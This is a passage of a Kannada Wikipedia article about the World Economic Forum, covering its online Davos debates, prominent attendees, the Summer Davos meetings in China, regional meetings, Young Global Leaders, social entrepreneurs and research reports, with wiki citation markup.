ದಾವೋಸ್‌"], ಟೆಕ್‌ಕ್ರಂಚ್‌, 15 ಡಿಸೆಂಬರ್‌‌ 2008, 2008ರ ಡಿಸೆಂಬರ್‌‌ 15ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>[https://www.youtube.com/user/thedavosquestion/ "ದಿ ದಾವೋಸ್‌ ಡಿಬೇಟ್ಸ್‌"], 2008ರ ಡಿಸೆಂಬರ್‌ 15ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ದಾವೋಸ್‌ ಚರ್ಚೆಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ವೇದಿಕೆಯು ಜನಸಾಮಾನ್ಯರನ್ನು ಆಹ್ವಾನಿಸಿತು. ಇದರಿಂದಾಗಿ ಓರ್ವ ಬಳಕೆದಾರನಿಗೆ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಖುದ್ದಾಗಿ ಭಾಗವಹಿಸಲು ಅವಕಾಶ ಕಲ್ಪಿಸಿದಂತಾಯಿತು. 2008ರಲ್ಲಿ, ಯೂಟ್ಯೂಬ್‌ನಲ್ಲಿ<ref>{{cite web|url=https://www.youtube.com/user/thedavosquestion |title=Kanaal van thedavosquestion |publisher=YouTube |date= |accessdate=2010-03-07}}</ref> ಆಯೋಜಿಸಲಾದ ದಾವೋಸ್‌ ಪ್ರಶ್ನೆಯ ವ್ಯವಸ್ಥೆಯು, ದಾವೋಸ್‌ನಲ್ಲಿ ಜಮಾವಣೆಗೊಂಡ ವಿಶ್ವ ನಾಯಕರೊಂದಿಗೆ ಯುಟ್ಯೂಬ್‌ ಬಳಕೆದಾರರು ಪರಸ್ಪರ ಸಂವಹಿಸುವುದಕ್ಕೆ ಅವಕಾಶ ನೀಡಿತು; ಕಾಂಗ್ರೆಸ್‌ ಸೆಂಟರ್‌ನಲ್ಲಿನ ಯುಟ್ಯೂಬ್‌ ವಿಡಿಯೋ ಕೇಂದ್ರವೊಂದರಿಂದ ಉತ್ತರಿಸಲು ಸದರಿ ವಿಶ್ವ ನಾಯಕರಿಗೆ ಉತ್ತೇಜನ ದೊರಕಿದಂತಾಯಿತು.<ref>[http://www.techcrunch.com/2008/01/26/the-super-awesome-youtube-room-at-davos/ "ದಿ ಸೂಪರ್‌-ಆವ್‌ಸಮ್‌ ಯುಟ್ಯೂಬ್‌ ರೂಮ್‌ ಅಟ್‌ ದಾವೋಸ್‌"], ಟೆಕ್‌ಕ್ರಂಚ್‌, 26 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> 2008ರಲ್ಲಿ, ಕ್ವಿಕ್‌<ref>{{cite web|url=http://qik.com/worldeconomicforum |title=worldeconomicforum on Qik &#124; 30 videos recorded with mobile phones |publisher=Qik.com |date=2008-02-11 |accessdate=2010-03-07}}</ref> ಮತ್ತು ಮೊಗಲಸ್‌<ref>{{cite web |url=http://www.mogulus.com/worldeconomicforum |title=World Economic Forum 2010 |publisher=Mogulus.com |date= |accessdate=2010-03-07 |archive-date=2009-05-04 |archive-url=https://web.archive.org/web/20090504201600/http://www.mogulus.com/Worldeconomicforum |url-status=dead }}</ref> ಎಂಬ ಮಾಧ್ಯಮಗಳಲ್ಲಿ ಪತ್ರಿಕಾಗೋಷ್ಠಿಗಳು ನೇರಪ್ರಸಾರವಾದವು ಹಾಗೂ ಭಾಷಣಕಾರರಿಗೆ ಯಾರುಬೇಕಾದರೂ ಪ್ರಶ್ನೆಗಳನ್ನು ಕೇಳಲು ಈ ವ್ಯವಸ್ಥೆಯು ಅವಕಾಶ ಕಲ್ಪಿಸಿಕೊಟ್ಟಿತು. 2006 ಮತ್ತು 2007ರಲ್ಲಿ, ಸೆಕೆಂಡ್‌ ಲೈಫ್‌‌ ತಾಣದಲ್ಲಿನ ರಾಯಿಟರ್ಸ್‌‌‌‌‌ನ ಶ್ರೋತೃವಿಭಾಗದಲ್ಲಿ ಆಯ್ದ ಸಹಭಾಗಿಗಳನ್ನು ಸಂದರ್ಶಿಸಲಾಯಿತು, ಮತ್ತು ಮುಕ್ತಾಯದ ವಿಚಾರ ಸಂಕಿರಣವನ್ನು ಬಿತ್ತರಿಸಲಾಯಿತು.<ref>[http://money.cnn.com/2007/01/25/technology/fastforward_davos_secondlife.fortune/ "ಗೆಟಿಂಗ್‌ ಎ ಸೆಕೆಂಡ್‌ ಲೈಫ್‌ ಇನ್‌ ದಾವೋಸ್‌"], CNN, 26 ಜನವರಿ 2007, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ====ಸಹಭಾಗಿಗಳು==== [[File:Gloria Macapagal-Arroyo, Davos.jpg|thumb|2009ರಲ್ಲಿನ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯಲ್ಲಿ ಅಧ್ಯಕ್ಷ ಗ್ಲೋರಿಯಾ ಮ್ಯಾಕಪಾಗಲ್‌-ಅರೊಯೊ]] 2008ರಲ್ಲಿ, ಸಾರ್ವಜನಿಕ ವಲಯದಲ್ಲಿ ಪ್ರಸಿದ್ಧರಾಗಿರುವ ಸುಮಾರು 250 ವ್ಯಕ್ತಿಗಳು (ಸಂಸ್ಥಾನ ಅಥವಾ ಸರ್ಕಾರದ ಮುಖ್ಯಸ್ಥರು, ಸಂಪುಟ ಸಚಿವರುರಾಯಭಾರಿಗಳು, ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಂಘಟನೆಯ ಮುಖ್ಯಸ್ಥರು ಅಥವಾ ಹಿರಿಯ ಅಧಿಕಾರಿಗಳು) ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಭಾಗವಹಿಸಿದರು. ಅವರುಗಳೆಂದರೆ: ಅಬ್ದೌಲಯೆ ವಾಡೆ, ಅಬ್ದುಲ್ಲಾಹ್‌ ಅಹ್ಮದ್‌ ಬದಾವಿ, ಆಲ್ವರೊ ಉರಿಬೆ ವೇಲೆಜ್‌, ಆಂಡರ್ಸ್‌‌ ಫೋಗ್‌ ರಾಸ್‌ಮುಸ್ಸೆನ್‌, [[ಬಾನ್ ಕೀ-ಮೂನ್|ಬಾನ್‌ ಕಿ-ಮೂನ್‌]], ಕಾಂಡೊಲೀಜಾ ರೈಸ್‌, ಫೆರೆಂಕ್‌ ಗ್ಯುರ್ಕ್‌ಸ್ಯಾನಿ, ಫ್ರಾಂಕೋಯಿಸ್‌ ಫಿಲ್ಲಾನ್‌, ಗ್ಲೋರಿಯಾ ಮ್ಯಾಕಪಾಗಲ್‌ ಅರೊಯೊ, ಗೋರ್ಡಾನ್‌ ಬ್ರೌನ್‌, ಹಮಿದ್‌ ಕರ್ಜಾಯಿ, ಇಲ್ಹಾಮ್‌ ಆಲಿಯೆವ್‌, ಜಾನ್‌ ಪೀಟರ್‌ ಬಾಲ್ಕೆನೆಂಡೆ, ಲೀ ಬೋಲಿಂಗರ್‌, ಲೀ ಹ್ಸಿಯೆನ್‌ ಲೂಂಗ್‌, ಪರ್ವೆಜ್‌ ಮುಷರಫ್‌, ಜೋರ್ಡಾನ್‌‌ನ ರಾಣಿ ರಾನಿಯಾ, ರುಥ್‌ ಸಿಮನ್ಸ್‌‌, ಸಲಾಮ್‌ ಫಯ್ಯಾದ್‌, ಸಾಲಿ ಬೆರಿಷಾ, ಸೆರ್ಝ್‌ ಸರ್ಗ್‌ಸ್ಯಾನ್‌, ಷಿಮೋನ್‌ ಪೆರೆಸ್‌, ಟುಕುಫು ಝುಬೆರಿ, ಉಮಾರು ಮೂಸಾ ಯರ್‌‌'ಅದುವಾ, ವಾಲ್ಡಾಸ್‌ ಅದಮ್‌ಕುಸ್‌, ಯಾಸುವೊ ಫುಕುಡಾ, ವಿಕ್ಟರ್‌‌ A. ಯಶ್‌ಚೆಂಕೊ ಮತ್ತು ಝೆಂಗ್‌ ಪೀಯಾನ್‌.<ref>http://www.weforum.org/pdf/AM_2008/AM08_PublicFiguresList.pdf {{Webarchive|url=https://web.archive.org/web/20081029155451/http://www.weforum.org/pdf/AM_2008/AM08_PublicFiguresList.pdf |date=2008-10-29 }} [http://www.telegraph.co.uk/money/main.jhtml?xml=/money/exclusions/hubpages/davos2008/davosnames.xml "ದಾವೋಸ್‌ 2008 ಗೆಸ್ಟ್‌ ಲಿಸ್ಟ್‌"] {{Webarchive|url=https://web.archive.org/web/20080611122155/http://www.telegraph.co.uk/money/main.jhtml?xml=%2Fmoney%2Fexclusions%2Fhubpages%2Fdavos2008%2Fdavosnames.xml |date=2008-06-11 }}, ''ಟೆಲಿಗ್ರಾಫ್‌'' , 19 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ‌‌ಅಲ್‌ ಗೋರ್, [[ಬಿಲ್ ಕ್ಲಿಂಟನ್|ಬಿಲ್‌ ಕ್ಲಿಂಟನ್‌]], [[ಬಿಲ್ ಗೇಟ್ಸ್|ಬಿಲ್‌ ಗೇಟ್ಸ್‌]], ಮೈಕೇಲ್‌ ವೋಲ್ಫ್‌, ಬೊನೊ, ಪಾಲೋ ಕೊಯೆಲ್ಹೊ ಮತ್ತು ಟೋನಿ ಬ್ಲೇರ್‌‌ ಇವರೇ ಮೊದಲಾದವರೂ ಸಹ ದಾವೋಸ್‌ ವಾರ್ಷಿಕ ಸಭೆಯ ನಿಯತವಾದ ಹಾಜರಿದಾರರಾಗಿದ್ದಾರೆ. ಹಿಂದಿನ ಹಾಜರಿದಾರರಲ್ಲಿ ಇವರೆಲ್ಲ ಸೇರಿದ್ದಾರೆ: ಏಂಜೆಲಾ ಮೆರ್ಕೆಲ್‌, [[ಡ್ಮಿಟ್ರಿ ಮೆಡ್ವೆಡೇವ್|ಡ್ಮಿಟ್ರಿ ಮೆಡ್‌ವೆಡೆವ್‌]], ಹೆನ್ರಿ ಕಿಸಿಂಜರ್‌‌, [[ನೆಲ್ಸನ್ ಮಂಡೇಲಾ|ನೆಲ್ಸನ್‌‌ ಮಂಡೇಲಾ]], ರೇಮಂಡ್‌ ಬ್ಯಾರೆ, ಜೂಲಿಯನ್‌ ಲಾಯ್ಡ್‌‌ ವೆಬ್ಬರ್‌‌ ಮತ್ತು [[ಯಾಸಿರ್ ಅರಾಫತ್|ಯಾಸರ್‌‌ ಅರಾಫತ್‌‌]]. ಅಮೆರಿಕಾದ ಸ್ಯಾಮ್ಯುಯೆಲ್‌ ಹಂಟಿಂಗ್ಟನ್‌ ಎಂಬ ಓರ್ವ ವಿದ್ವಾಂಸ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ಸಹಭಾಗಿಗಳನ್ನು "ದಾವೋಸ್‌ ಮ್ಯಾನ್‌" ಎಂಬುದಾಗಿ ಸಾಮೂಹಿಕವಾಗಿ ವರ್ಣಿಸಿದ; ಸಂಪೂರ್ಣವಾಗಿ ಅಂತರರಾಷ್ಟ್ರೀಯರೆಂಬುದಾಗಿ ತಮ್ಮನ್ನು ತಾವು ಕಂಡುಕೊಳ್ಳುವ ಸದಸ್ಯರನ್ನು ಹೊಂದಿರುವ, ಜಾಗತಿಕ ಮಟ್ಟದ ಒಂದು ಉತ್ಕೃಷ್ಟ ಸಮೂಹವನ್ನು ಉಲ್ಲೇಖಿಸಲೆಂದು ಅವನು ಈ ವಿವರಣೆಯನ್ನು ನೀಡಿದ.<ref>[https://www.theguardian.com/world/2005/feb/03/globalisation.comment "ದಾವೋಸ್‌ ಮ್ಯಾನ್‌'ಸ್‌ ಡೆತ್‌ ವಿಶ್‌"], ''ದಿ ಗಾರ್ಡಿಯನ್‌'' , 3 ಫೆಬ್ರುವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>[http://www.time.com/time/magazine/article/0,9171,1019774-1,00.html "ಇನ್‌ ಸರ್ಚ್‌ ಆಫ್‌ ದಾವೋಸ್‌ ಮ್ಯಾನ್‌"] {{Webarchive|url=https://web.archive.org/web/20100215203936/http://www.time.com/time/magazine/article/0,9171,1019774-1,00.html |date=2010-02-15 }}, ''ಟೈಮ್‌'' , 23 ಜನವರಿ 2005, 2008ರ ಆಗಸ್ಟ್‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ===ಹೊಸ ಚಾಂಪಿಯನ್ನರ ವಾರ್ಷಿಕ ಸಭೆ=== 2007ರಲ್ಲಿ, ಹೊಸ ಚಾಂಪಿಯನ್ನರ ವಾರ್ಷಿಕ ಸಭೆಯನ್ನು (ಇದಕ್ಕೆ ಬೇಸಿಗೆಯ ದಾವೋಸ್‌ ಎಂದೂ ಕರೆಯಲಾಗುತ್ತದೆ) WEF ಹುಟ್ಟುಹಾಕಿತು. [[ಚೀನಾ]]ದಲ್ಲಿ ವಾರ್ಷಿಕವಾಗಿ ಆಯೋಜಿಸಲ್ಪಡುವ ಈ ಸಭೆಯು ಡೇಲಿಯನ್‌ ಮತ್ತು ಟಿಯಾಂಜಿನ್‌ ನಡುವಣ ಪರ್ಯಾಯವಾಗಿ ಬದಲಾಗುತ್ತಿರುತ್ತದೆ. ಜಾಗತಿಕ ಬೆಳವಣಿಗೆಯ ಕಂಪನಿಗಳು ಎಂಬುದಾಗಿ ವೇದಿಕೆಯಿಂದ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಕಂಪನಿಗಳ 1,500 ಪ್ರಭಾವಿ ಹೂಡಿಕೆದಾರರನ್ನು ಈ ಸಭೆಯು ಒಟ್ಟಾಗಿ ಸೇರಿಸುತ್ತದೆ. ಪ್ರಧಾನವಾಗಿ [[ಚೀನಾ]], [[ಭಾರತ]], [[ರಷ್ಯಾ]], [[ಮೆಕ್ಸಿಕೋ|ಮೆಕ್ಸಿಕೊ]], ಮತ್ತು [[ಬ್ರೆಜಿಲ್|ಬ್ರೆಜಿಲ್‌‌‌]]ನಂಥ ಕ್ಷಿಪ್ರವಾಗಿ ಬೆಳೆಯುತ್ತಿರುವ, ಅಭಿವೃದ್ಧಿಶೀಲ ದೇಶಗಳಿಗೆ ಈ ಪ್ರಭಾವಿ ಹೂಡಿಕೆದಾರರು ಸೇರಿದ್ದು, ಅಭಿವೃದ್ಧಿಹೊಂದಿದ ದೇಶಗಳಿಗೆ ಸೇರಿದ ಕ್ಷಿಪ್ರ ಬೆಳವಣಿಗೆಯ ಹೂಡಿಕೆದಾರರೂ ಇವರೊಂದಿಗೆ ಸೇರಿಕೊಳ್ಳುತ್ತಾರೆ ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಮುಂದಿನ ಪೀಳಿಗೆಯ ಜಾಗತಿಕ ನಾಯಕರು, ವೇಗವಾಗಿ-ಬೆಳೆಯುತ್ತಿರುವ ಪ್ರದೇಶಗಳು, ಸ್ಪರ್ಧಾತ್ಮಕ ನಗರಗಳು ಹಾಗೂ ಭೂಮಂಡಲದೆಲ್ಲೆಡೆ ವ್ಯಾಪಿಸಿರುವ ತಂತ್ರಜ್ಞಾನದ ಪಥನಿರ್ಮಾಪಕರನ್ನೂ ಸಹ ಈ ಸಭೆಯು ತನ್ನಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳುತ್ತದೆ.<ref>[http://www.china.org.cn/english/business/222969.htm "ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಂ: ದಿ ಇನಾಗರಲ್‌ ಆನ್ಯುಯಲ್‌ ಮೀಟಿಂಗ್‌ ಆಫ್‌ ದಿ ನ್ಯೂ ಚಾಂಪಿಯನ್ಸ್‌"], China.org, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>[http://english.peopledaily.com.cn/90001/90778/6228850.html ''ಸಮ್ಮರ್‌ ದಾವೋಸ್‌ ಟು ಪುಟ್‌ ಡೇಲಿಯನ್‌ ಆನ್‌ ಬಿಸಿನೆಸ್‌ ಮ್ಯಾಪ್‌'' ], ಪೀಪಲ್‌‌'ಸ್‌ ಡೇಲಿ, 1 ಆಗಸ್ಟ್‌‌ 2007, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಪ್ರತಿ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲೂ ಮುಖ್ಯಸ್ಥನಾದ ವೆನ್‌ ಜಿಯಾಬಾವೊ ಸರ್ವಸದಸ್ಯರನ್ನು ಉದ್ದೇಶಿಸಿ ಭಾಷಣ ಮಾಡುತ್ತಾನೆ. ===ಪ್ರಾದೇಶಿಕ ಸಭೆಗಳು=== ಪ್ರತಿ ವರ್ಷವೂ ಹತ್ತು ಪ್ರಾದೇಶಿಕ ಸಭೆಗಳು ನಡೆಯುತ್ತವೆ. ಸಾಂಸ್ಥಿಕ ವ್ಯವಹಾರದ ನಾಯಕರು, ಸ್ಥಳೀಯ ಸರ್ಕಾರದ ನಾಯಕರು ಮತ್ತು NGOಗಳ ನಡುವೆ ನಿಕಟ ಸಂಪರ್ಕವು ಏರ್ಪಡುವಲ್ಲಿ ಇವು ನೆರವಾಗುತ್ತವೆ. [[ಆಫ್ರಿಕಾ]], [[ಪೂರ್ವ ಏಷ್ಯಾ]], [[ಲ್ಯಾಟಿನ್ ಅಮೇರಿಕ|ಲ್ಯಾಟಿನ್‌ ಅಮೆರಿಕಾ]] ಮತ್ತು [[ಮಧ್ಯ ಪ್ರಾಚ್ಯ]] ದೇಶಗಳಲ್ಲಿ ಸಭೆಗಳು ಆಯೋಜಿಸಲ್ಪಟ್ಟಿವೆ. ಅತಿಥೇಯ ದೇಶಗಳ ಸಂಯೋಜನೆಯು ವರ್ಷದಿಂದ ವರ್ಷಕ್ಕೆ ಬದಲಾಗುತ್ತದೆಯಾದರೂ, ಚೀನಾ ಮತ್ತು ಭಾರತ ದೇಶಗಳು ಹಿಂದಿನ ದಶಕದಲ್ಲಿ ಸಭೆಗಳನ್ನು ಸುಸಂಗತವಾಗಿ ಆಯೋಜಿಸಿವೆ.<ref>{{cite web|url=http://www.weforum.org/en/events/ |title=World Economic Forum — Events |publisher=Weforum.org |date= |accessdate=2010-03-07}}</ref> ===ಯುವ ಜಾಗತಿಕ ನಾಯಕರು=== ನಾಳಿನ ಜಾಗತಿಕ ನಾಯಕರಿಗೆ ಉತ್ತರಾಧಿಕಾರಿಗಳು ಎನಿಸಿಕೊಂಡಿರುವ ಯುವ ಜಾಗತಿಕ ನಾಯಕರ ಸಮುದಾಯವನ್ನು 2005ರಲ್ಲಿ WEF ಸ್ಥಾಪಿಸಿತು. ವಿಶ್ವದೆಲ್ಲೆಡೆ ಇರುವ 40 ವರ್ಷ ವಯೋಮಾನದ ನಾಯಕರು ಹಾಗೂ ಅಸಂಖ್ಯಾತ ಕಾರ್ಯವಿಧಾನಗಳು ಮತ್ತು ವಲಯಗಳಿಗೆ ಸೇರಿದ ನಾಯಕರನ್ನು ಇದು ಒಳಗೊಂಡಿದೆ. 2030ರಲ್ಲಿ ವಿಶ್ವವು ಹೇಗಿರಬಹುದು ಎಂಬುದನ್ನು ಕಂಡುಕೊಳ್ಳುವುದರ ಕಲ್ಪನಾದೃಷ್ಟಿಗೆ ಸಂಬಂಧಿಸಿದ ಕ್ರಿಯಾಯೋಜನೆಯೊಂದರ ಸೃಷ್ಟಿಯಾದ 2030ರ ಉಪಕ್ರಮದಲ್ಲಿ ಸದರಿ ನಾಯಕರು ತೊಡಗಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಯುವ ಜಾಗತಿಕ ನಾಯಕರ ಪೈಕಿ ಇವರೆಲ್ಲರೂ ಸೇರಿದ್ದಾರೆ<ref>[http://www.newsweek.com/id/51750/page/1 "ಮೀಟ್‌ ಸಮ್‌ ಆಫ್‌ ದಿ ಅಂಡರ್‌-40ಸ್‌ ಸೆಲೆಕ್ಟೆಡ್‌ ಟು ಜಾಯಿನ್‌ ಫೋರ್ಸಸ್‌ ಟು ಶೇಪ್‌ ಎ ಬೆಟರ್‌ ಫ್ಯೂಚರ್‌"], ''ನ್ಯೂಸ್‌ವೀಕ್‌'' , 29 ಮೇ 2005, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಷಾಯ್‌ ಅಗಾಸ್ಸಿ, ಅನೌಶೇಷ್‌ ಅನ್ಸಾರಿ, ಮಾರಿಯಾ ಕನ್ಸ್ಯೂಯೆಲೊ ಅರೌಜೊ, ಲೆರಾ ಔವೆರ್‌ಬಾಕ್‌, ಫತ್ಮಿರ್‌ ಬೆಸಿಮಿ, ಇಯಾನ್‌ ಬ್ರೆಮ್ಮರ್‌‌, [[ಸೆರ್ಗೆ ಬ್ರಿನ್|ಸೆರ್ಜೆ ಬ್ರಿನ್‌]], ಟೈಲರ್‌ ಬ್ರೂಲೆ, ಪ್ಯಾಟ್ರಿಕ್‌ ಚಪ್ಪಾಟ್ಟೆ, ಒಲಾಫರ್‌‌ ಎಲಿಯಾಸನ್‌, [[ರೋಜರ್ ಫೆಡರರ್|ರೋಜರ್‌‌ ಫೆಡೆರರ್‌‌]], ಜೆನ್ಸ್‌ ಮಾರ್ಟಿನ್‌ ಸ್ಕಿಬ್‌ಸ್ಟೆಡ್‌, ರಾಹುಲ್‌ ಗಾಂಧಿ, ಕೆನ್ನೆತ್‌ ಗ್ರಿಫಿನ್‌, ಕೆಲ್ಲಿ ಚೆನ್‌, ಸ್ಕಾಟ್‌ J. ಫ್ರೀಡ್‌ಹೀಮ್‌, ನಾರ್ವೆಯ ಯುವರಾಜ ಹಾಕೋನ್‌, ಅಬ್ದುಲ್‌‌ಸಲಾಮ್‌ ಹಯ್‌ಕಾಲ್‌, ಸಿಲ್ವಾನ ಕೊಚ್‌-ಮೆಹ್ರಿನ್‌, ಇರ್ಷಾದ್‌ ಮಂಜಿ, ಬೆಲ್ಜಿಯಂನ ರಾಜಕುಮಾರಿ ಮಥಿಲ್ಡೆ, ಆದಿತ್ಯ ಮಿತ್ತಲ್‌, ಯುವಿನ್‌ ನಾಯ್ಡು, ಗೇವಿನ್‌ ನ್ಯೂಸಮ್‌, ಲ್ಯಾರಿ ಪೇಜ್‌, ಲೆವಿಸ್‌ ಗೋರ್ಡಾನ್‌ ಪ್ಯೂಗ್‌, [[ಫಿಲಿಪ್ಪೀನ್ಸ್|ಫಿಲಿಪೈನ್ಸ್‌‌‌]]ನ ಸೆನೆಟ್‌ ಸದಸ್ಯ ಮಾರ್‌ ರೋಕ್ಸಾಸ್‌, ಕ್ರಿಸ್ಟೋಫರ್‌‌ ಸ್ಕ್ಲಾಫರ್‌‌, ಅನೂಷ್ಕಾ ಶಂಕರ್‌, ಪ್ರೇಮಲ್‌ ಷಾ, ಜೋಷ್‌ ಸ್ಪಿಯರ್‌, ಪೀಟರ್‌ ಥಿಯೆಲ್‌, ಜಿಮ್ಮಿ ವೇಲ್ಸ್‌, ಮತ್ತು ನಿಕ್ಲಾಸ್‌ ಜೆನ್‌ಸ್ಟ್ರೋಮ್‌. ವಾರ್ಷಿಕ ಆಧಾರದ ಮೇಲೆ ಹೊಸ ಸದಸ್ಯರನ್ನು ಆರಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಯುವ ಜಾಗತಿಕ ನಾಯಕರ ವೇದಿಕೆಯು 1111 ಸದಸ್ಯರನ್ನು ಹೊಂದಲಿದೆ.<ref>http://www.younggloballeaders.org/</ref><ref>{{cite web |url=http://www.sohochina.com/en/news/detail.asp?id=21842&cid=11 |title=SOHO中国 |publisher=SOHO China |date= |accessdate=2010-03-07 |archive-date=2012-02-08 |archive-url=https://web.archive.org/web/20120208105544/http://www.sohochina.com/en/news/detail.asp?id=21842&cid=11 |url-status=dead }}</ref><ref>{{cite web|date=October 31, 2007 |url=https://www.youtube.com/watch?v=SGrOAyvjMWI |title=David Aikman explains about the Young Global Leaders |publisher=YouTube |date=2007-10-31 |accessdate=2010-03-07}}</ref> ===ಸಾಮಾಜಿಕ ಉದ್ಯಮಶೀಲರು=== ಷ್ವಾಬ್‌ ಫೌಂಡೇಷನ್‌ ಫಾರ್‌ ಸೋಷಿಯಲ್‌ ಎಂಟ್ರಪ್ರೆನರ್‌ಷಿಪ್‌<ref>{{cite web|url=http://www.schwabfound.org/ |title=Schwab Foundation for Social Entrepreneurship — Home |publisher=Schwabfound.org |date= |accessdate=2010-03-07}}</ref> ಸಂಸ್ಥೆಯೊಂದಿಗಿನ ನಿಕಟ ಸಹಯೋಗದಲ್ಲಿ, ವಿಶ್ವದ ಅಗ್ರಗಣ್ಯ ಸಾಮಾಜಿಕ ಉದ್ಯಮಶೀಲರು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ ಮಾದರಿಗಳನ್ನು WEF ಸಂಘಟನೆಯು 2000ನೇ ಇಸವಿಯಿಂದಲೂ ಪ್ರವರ್ತಿಸುತ್ತಾ ಬಂದಿದೆ. ಸಮಾಜಗಳನ್ನು ಮುಂದಕ್ಕೆ ತರುವಲ್ಲಿ ಮತ್ತು ಸಾಮಾಜಿಕ ಸಮಸ್ಯೆಗಳ ಕುರಿತಾಗಿ ಗಮನ ಹರಿಸುವಲ್ಲಿ, ಸಾಮಾಜಿಕ ಉದ್ಯಮಶೀಲರ ಪಾತ್ರವು ಒಂದು ಪ್ರಮುಖ ಅಂಶವಾಗಿದೆ ಎಂಬುದನ್ನು WEF ಎತ್ತಿ ತೋರಿಸುತ್ತದೆ.<ref>[http://news.bbc.co.uk/2/hi/business/4221851.stm "ದಾವೋಸ್‌ ಡೈರಿ: ಮೀಟಿಂಗ್ಸ್‌ ಆಫ್‌ ಮೈಂಡ್ಸ್‌"], BBC, 31 ಜನವರಿ 2005, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>ಮೈಕ್‌ ಮೂರ್‌‌, ಪುಟ 209</ref> ವೇದಿಕೆಯ ಪ್ರಾದೇಶಿಕ ಸಭೆಗಳು ಮತ್ತು ವಾರ್ಷಿಕ ಸಭೆಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ಆಯ್ದ ಸಾಮಾಜಿಕ ಉದ್ಯಮಶೀಲರಿಗೆ ಆಹ್ವಾನವು ದೊರೆಯುತ್ತದೆ. ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಗಳು ಮತ್ತು ಹಿರಿಯ ಸರ್ಕಾರಿ ಅಧಿಕಾರಿಗಳನ್ನು ಅಲ್ಲಿ ಭೇಟಿಮಾಡುವ ಅವಕಾಶವು ಅವರಿಗೆ ಲಭ್ಯವಾಗುತ್ತದೆ. ಉದಾಹರಣೆಗೆ, 2003ರ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಜೆರೂ ಬಿಲಿಮೋರಿಯಾ ಎಂಬಾಕೆಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ದೂರಸಂಪರ್ಕ ಒಕ್ಕೂಟದ ಉಪ ಮಹಾ-ಕಾರ್ಯದರ್ಶಿಯಾದ ರಾಬರ್ಟೋ ಬ್ಲೋಸಿಸ್‌‌ ಎಂಬಾತನನ್ನು ಭೇಟಿಮಾಡುವ ಅವಕಾಶ ದೊರೆಯಿತು; ಈ ಮುಖಾಮುಖಿ ಭೇಟಿಯಿಂದಾಗಿ ಚೈಲ್ಡ್‌ ಹೆಲ್ಪ್‌ಲೈನ್‌ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಎಂಬ ಆಕೆಯ ಸಂಘಟನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಪ್ರಮುಖ ಪಾಲುದಾರಿಕೆಯು ರೂಪುಗೊಳ್ಳಲು ಸಾಧ್ಯವಾಯಿತು.<ref>ಬಾರ್ನ್‌ಸ್ಟೀನ್‌ ಪುಟ 272</ref> ===ಸಂಶೋಧನಾ ವರದಿಗಳು=== ಒಂದು ಚಿಂತಕರ ಚಾವಡಿಯಾಗಿಯೂ WEF ಸೇವೆ ಸಲ್ಲಿಸುತ್ತದೆ, ಹಾಗೂ ವೇದಿಕೆಯ ಸಮುದಾಯಗಳಿಗೆ ಕಾಳಜಿ ಮತ್ತು ಪ್ರಾಮುಖ್ಯತೆಯ ವಿಷಯಗಳಾಗಿ ಪರಿಣಮಿಸಿರುವ ಸಮಸ್ಯೆಗಳ ಕುರಿತಾಗಿ ಗಮನಹರಿಸುವ ಒಂದು ವ್ಯಾಪಕ ಶ್ರೇಣಿ ವರದಿಗಳನ್ನು ಅದು ಪ್ರಕಟಿಸುತ್ತದೆ. ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಸ್ಪರ್ಧಾತ್ಮಕತೆ, ಜಾಗತಿಕ ಅಪಾಯಗಳು ಮತ್ತು ಭವಿಷ್ಯದ ಘಟನಾವಳಿಗಳ ಕುರಿತಾದ ಚಿಂತನೆಯಂಥ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಪ್ರಸ್ತುತತೆಯ ವರದಿಗಳನ್ನು ರೂಪಿಸುವುದರ ಕುರಿತಾಗಿ ಕಾರ್ಯತಂತ್ರದ ಅಂತರ್ದೃಷ್ಟಿಯ ತಂಡಗಳು ಗಮನಹರಿಸುತ್ತವೆ. [http://www.weforum.org/en/initiatives/gcp/index.htm 